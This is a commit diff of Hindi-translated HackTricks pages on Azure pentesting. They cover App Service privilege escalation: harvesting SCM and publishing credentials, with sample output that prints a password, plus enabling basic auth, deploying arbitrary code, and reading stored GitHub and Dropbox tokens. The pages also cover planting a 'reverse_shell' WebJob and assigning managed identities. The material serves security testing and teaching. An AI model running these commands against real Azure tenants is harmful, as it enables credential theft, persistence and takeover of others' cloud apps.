mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -5,32 +5,30 @@
|
||||
## Linux में PowerShell स्थापित करें
|
||||
|
||||
> [!TIP]
|
||||
> Linux में आपको PowerShell Core स्थापित करने की आवश्यकता होगी:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
> sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
>
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # रिपॉजिटरी अपडेट करें
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # PowerShell स्थापित करें और शुरू करें
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
> # Az cli
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
> लिनक्स में आपको PowerShell Core स्थापित करने की आवश्यकता होगी:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
|
||||
# Ubuntu 20.04
|
||||
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
|
||||
# Update repos
|
||||
sudo apt-get update
|
||||
sudo add-apt-repository universe
|
||||
|
||||
# Install & start powershell
|
||||
sudo apt-get install -y powershell
|
||||
pwsh
|
||||
|
||||
# Az cli
|
||||
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
```
|
||||
## MacOS में PowerShell स्थापित करें
|
||||
|
||||
[**दस्तावेज़ीकरण**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) से निर्देश:
|
||||
|
||||
1. यदि अभी तक `brew` स्थापित नहीं है, तो इसे स्थापित करें:
|
||||
1. यदि अभी तक स्थापित नहीं है तो `brew` स्थापित करें:
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
@@ -51,11 +49,11 @@ brew upgrade powershell
|
||||
|
||||
### az cli
|
||||
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) एक क्रॉस-प्लेटफ़ॉर्म टूल है जो Python में लिखा गया है, जो (अधिकतर) Azure और Entra ID संसाधनों का प्रबंधन और प्रशासन करने के लिए है। यह Azure से कनेक्ट करता है और कमांड लाइन या स्क्रिप्ट के माध्यम से प्रशासनिक आदेशों को निष्पादित करता है।
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) एक क्रॉस-प्लेटफ़ॉर्म टूल है जो Python में लिखा गया है, जो (अधिकतर) Azure और Entra ID संसाधनों का प्रबंधन और प्रशासन करने के लिए है। यह Azure से कनेक्ट करता है और कमांड लाइन या स्क्रिप्ट के माध्यम से प्रशासनिक कमांड निष्पादित करता है।
|
||||
|
||||
[**स्थापना निर्देशों के लिए इस लिंक का पालन करें¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)।
|
||||
|
||||
Azure CLI में आदेशों को इस पैटर्न का उपयोग करके संरचित किया गया है: `az <service> <action> <parameters>`
|
||||
Azure CLI में कमांड को इस पैटर्न का उपयोग करके संरचित किया गया है: `az <service> <action> <parameters>`
|
||||
|
||||
#### डिबग | MitM az cli
|
||||
|
||||
@@ -109,13 +107,13 @@ Get-AzResourceGroup -Debug
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
|
||||
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत प्रश्नों का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
|
||||
|
||||
[**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें।
|
||||
[**स्थापना निर्देशों**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें।
|
||||
|
||||
Microsoft Graph PowerShell में कमांड इस प्रकार संरचित होते हैं: `<Action>-Mg<Service> <parameters>`
|
||||
|
||||
#### Debug Microsoft Graph PowerShell
|
||||
#### Microsoft Graph PowerShell डिबग करें
|
||||
|
||||
पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को कैसे भेज रहा है:
|
||||
```bash
|
||||
@@ -128,4 +126,4 @@ Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated**
|
||||
> [!TIP]
|
||||
> इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है
|
||||
|
||||
इस लिंक पर [**स्थापना निर्देश**](https://www.powershellgallery.com/packages/AzureAD) के लिए जाएं।
|
||||
इस लिंक का पालन करें [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
@@ -10,16 +10,16 @@ Azure App सेवाओं के बारे में अधिक जा
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
ये अनुमतियाँ एक वेब ऐप के अंदर **SSH शेल** प्राप्त करने के लिए निम्नलिखित कमांड्स को कॉल करने की अनुमति देती हैं
|
||||
ये अनुमतियाँ एक वेब ऐप के अंदर **SSH शेल** प्राप्त करने की अनुमति देती हैं। ये एप्लिकेशन को **डिबग** करने की भी अनुमति देती हैं।
|
||||
|
||||
- Direct option:
|
||||
- **एकल कमांड में SSH**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
- टनल बनाएं और फिर SSH से कनेक्ट करें:
|
||||
- **टनेल बनाएं और फिर SSH से कनेक्ट करें**:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **ऐप्लिकेशन को डिबग करें**:
|
||||
1. VScode में Azure एक्सटेंशन इंस्टॉल करें।
|
||||
2. एक्सटेंशन में Azure खाते से लॉगिन करें।
|
||||
3. सब्सक्रिप्शन के अंदर सभी ऐप सेवाओं की सूची बनाएं।
|
||||
4. उस ऐप सेवा का चयन करें जिसे आप डिबग करना चाहते हैं, राइट-क्लिक करें और "स्टार्ट डिबगिंग" चुनें।
|
||||
5. यदि ऐप में डिबगिंग सक्षम नहीं है, तो एक्सटेंशन इसे सक्षम करने की कोशिश करेगा लेकिन आपके खाते को ऐसा करने के लिए अनुमति `Microsoft.Web/sites/config/write` की आवश्यकता है।
|
||||
|
||||
### SCM क्रेडेंशियल्स प्राप्त करना और बेसिक ऑथेंटिकेशन सक्षम करना
|
||||
|
||||
SCM क्रेडेंशियल्स प्राप्त करने के लिए, आप निम्नलिखित **कमांड और अनुमतियों** का उपयोग कर सकते हैं:
|
||||
|
||||
- अनुमति **`Microsoft.Web/sites/publishxml/action`** कॉल करने की अनुमति देती है:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
ध्यान दें कि **उपयोगकर्ता नाम हमेशा समान होता है** (सिवाय FTP के, जो ऐप का नाम शुरुआत में जोड़ता है) लेकिन **पासवर्ड सभी के लिए समान होता है**।
|
||||
|
||||
इसके अलावा, **SCM URL है `<app-name>.scm.azurewebsites.net`**।
|
||||
|
||||
- अनुमति **`Microsoft.Web/sites/config/list/action`** कॉल करने की अनुमति देती है:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
ध्यान दें कि **क्रेडेंशियल्स वही हैं** जो पिछले कमांड में थे।
|
||||
|
||||
- एक और विकल्प होगा कि **आप अपने खुद के क्रेड्स सेट करें** और उनका उपयोग करें:
|
||||
```bash
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
```
|
||||
फिर, आप इन क्रेडेंशियल्स का उपयोग करके **SCM और FTP प्लेटफार्मों** तक पहुँच सकते हैं। यह स्थिरता बनाए रखने का एक शानदार तरीका भी है।
|
||||
|
||||
याद रखें कि **वेब से SCM प्लेटफार्म तक पहुँचने के लिए आपको `<SCM-URL>/BasicAuth`** पर पहुँचने की आवश्यकता है।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि प्रत्येक उपयोगकर्ता पिछले कमांड को कॉल करके अपने स्वयं के क्रेडेंशियल्स कॉन्फ़िगर कर सकता है, लेकिन यदि उपयोगकर्ता के पास SCM या FTP तक पहुँचने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो क्रेडेंशियल्स काम नहीं करेंगे।
|
||||
|
||||
- यदि आप देखते हैं कि ये क्रेडेंशियल्स **REDACTED** हैं, तो इसका मतलब है कि आपको **SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है** और इसके लिए आपको दूसरी अनुमति (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` की आवश्यकता है।
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
### SCM क्रेडेंशियल्स का उपयोग करके कोड प्रकाशित करें
|
||||
|
||||
सिर्फ मान्य SCM क्रेडेंशियल्स होने से **कोड प्रकाशित करना** संभव है App सेवा पर। यह निम्नलिखित कमांड का उपयोग करके किया जा सकता है।
|
||||
|
||||
इस पायथन उदाहरण के लिए, आप https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart से रेपो डाउनलोड कर सकते हैं, कोई भी **परिवर्तन** कर सकते हैं और फिर **इसे ज़िप करें: `zip -r app.zip .`**।
|
||||
|
||||
फिर आप निम्नलिखित कमांड के साथ **कोड प्रकाशित कर सकते हैं**:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | SCM क्रेडेंशियल्स
|
||||
|
||||
उल्लेखित Azure अनुमति कई दिलचस्प क्रियाएँ करने की अनुमति देती है जो SCM क्रेडेंशियल्स के साथ भी की जा सकती हैं:
|
||||
|
||||
- **Webjobs** लॉग पढ़ें:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
```
|
||||
- **Webjobs** स्रोत कोड पढ़ें:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
- **निरंतर Webjob** बनाएं:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
यह अनुमति **कनेक्शन स्ट्रिंग्स** और App सेवा के **ऐपसेटिंग्स** को सूचीबद्ध करने की अनुमति देती है, जिसमें संवेदनशील जानकारी जैसे डेटाबेस क्रेडेंशियल्स हो सकते हैं।
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
ये अनुमतियाँ **एक प्रबंधित पहचान** को ऐप सेवा में **सौंपने** की अनुमति देती हैं, इसलिए यदि कोई ऐप सेवा पहले से ही समझौता की गई थी, तो यह हमलावर को ऐप सेवा में नई प्रबंधित पहचानों को सौंपने और **अधिकारों को बढ़ाने** की अनुमति देगा।
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
|
||||
|
||||
निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
|
||||
|
||||
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### App कोड को स्रोत से अपडेट करें
|
||||
|
||||
- यदि कॉन्फ़िगर किया गया स्रोत एक तृतीय-पक्ष प्रदाता है जैसे Github, BitBucket या Azure Repository, तो आप **कोड को अपडेट** कर सकते हैं App सेवा का स्रोत कोड को समझौता करके।
|
||||
- यदि ऐप को **रिमोट गिट रिपॉजिटरी** (यूजरनेम और पासवर्ड के साथ) का उपयोग करके कॉन्फ़िगर किया गया है, तो **URL और बेसिक ऑथ क्रेडेंशियल्स** प्राप्त करना संभव है ताकि क्लोन और परिवर्तन पुश किए जा सकें:
|
||||
- अनुमति का उपयोग करते हुए **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- अनुमति का उपयोग करते हुए **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- यदि ऐप को **लोकल गिट रिपॉजिटरी** का उपयोग करने के लिए कॉन्फ़िगर किया गया है, तो **रिपॉजिटरी को क्लोन करना** और **परिवर्तन पुश करना** संभव है:
|
||||
- अनुमति का उपयोग करते हुए **`Microsoft.Web/sites/sourcecontrols/read`**: आप गिट रिपॉजिटरी का URL प्राप्त कर सकते हैं `az webapp deployment source show --name <app-name> --resource-group <res-group>`, लेकिन यह ऐप के SCM URL के समान होगा जिसमें पथ `/<app-name>.git` होगा (जैसे `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`)।
|
||||
- SCM क्रेडेंशियल प्राप्त करने के लिए आपको अनुमति की आवश्यकता है:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: फिर चलाएँ `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`।
|
||||
- **`Microsoft.Web/sites/config/list/action`**: फिर चलाएँ `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि अनुमति `Microsoft.Web/sites/config/list/action` और SCM क्रेडेंशियल्स होने पर हमेशा एक वेब ऐप में तैनात करना संभव है (भले ही इसे तृतीय-पक्ष प्रदाता का उपयोग करने के लिए कॉन्फ़िगर किया गया हो) जैसा कि पिछले अनुभाग में उल्लेख किया गया है।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि नीचे दी गई अनुमतियों के साथ यह भी **एक मनमाना कंटेनर निष्पादित करना संभव है** भले ही वेब ऐप को अलग तरीके से कॉन्फ़िगर किया गया हो।
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
यह अनुमतियों का सेट है जो **कंटेनर को संशोधित करने** की अनुमति देता है जिसका उपयोग एक वेब ऐप द्वारा किया जाता है। एक हमलावर इसका दुरुपयोग करके एक वेब ऐप को एक मैलिशियस कंटेनर निष्पादित करने के लिए मजबूर कर सकता है।
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Service Basic Information
|
||||
|
||||
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और बेहतर कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
|
||||
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
|
||||
|
||||
प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है
|
||||
|
||||
@@ -12,26 +12,75 @@ Azure App Services डेवलपर्स को **वेब एप्लि
|
||||
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप समर्पित VMs पर चलते हैं
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **इनमें से कोई भी** अलगाव **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड, या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उनके लिए विशेषाधिकार बढ़ाने** में सक्षम हो सकता है।
|
||||
> ध्यान दें कि **इनमें से कोई भी** अलगाव **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ाने** में सक्षम हो सकता है।
|
||||
|
||||
### Azure Function Apps
|
||||
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं:
|
||||
|
||||
बुनियादी रूप से **Azure Function ऐप्स Azure App Service का एक उपसमुच्चय** हैं और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **यहां फ़ंक्शन ऐप्स को भी सूचीबद्ध होते हुए देखेंगे**।
|
||||
|
||||
वास्तव में कुछ **सुरक्षा से संबंधित विशेषताएँ** जो ऐप सेवाएँ उपयोग करती हैं (`webapp` az cli में), **फंक्शन ऐप्स द्वारा भी उपयोग की जाती हैं**।
|
||||
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा।
|
||||
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलाने की आवश्यकता है, तो यह आवश्यक है क्योंकि यदि ऐप रुक जाता है तो वेबजॉब भी रुक जाएगा।
|
||||
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
|
||||
- **डीबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता ऐप को डीबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से अक्षम हो जाता है।
|
||||
- **वेब ऐप + डेटाबेस**: वेब कंसोल एक ऐप के साथ डेटाबेस बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए Azure Cache बनाने की भी अनुमति देता है।
|
||||
- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा।
|
||||
- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके ऐप सेवा में एक कंटेनर तैनात करना संभव है।
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
जब एक वेब ऐप (और आमतौर पर एक Azure फ़ंक्शन) बनाया जाता है, तो यह संकेत देना संभव है कि क्या आप बेसिक ऑथेंटिकेशन को सक्षम करना चाहते हैं। यह मूल रूप से **SCM और FTP** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।\
|
||||
जब एक वेब ऐप (और आमतौर पर एक Azure फ़ंक्शन) बनाया जाता है, तो यह इंगित करना संभव है कि क्या आप बेसिक ऑथेंटिकेशन सक्षम करना चाहते हैं। यह मूल रूप से **SCM और FTP** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।\
|
||||
इसके अलावा, उनके साथ कनेक्ट करने के लिए, Azure एक **API प्रदान करता है जो उपयोगकर्ता नाम, पासवर्ड और URL प्राप्त करने की अनुमति देता है** ताकि SCM और FTP सर्वरों से कनेक्ट किया जा सके।
|
||||
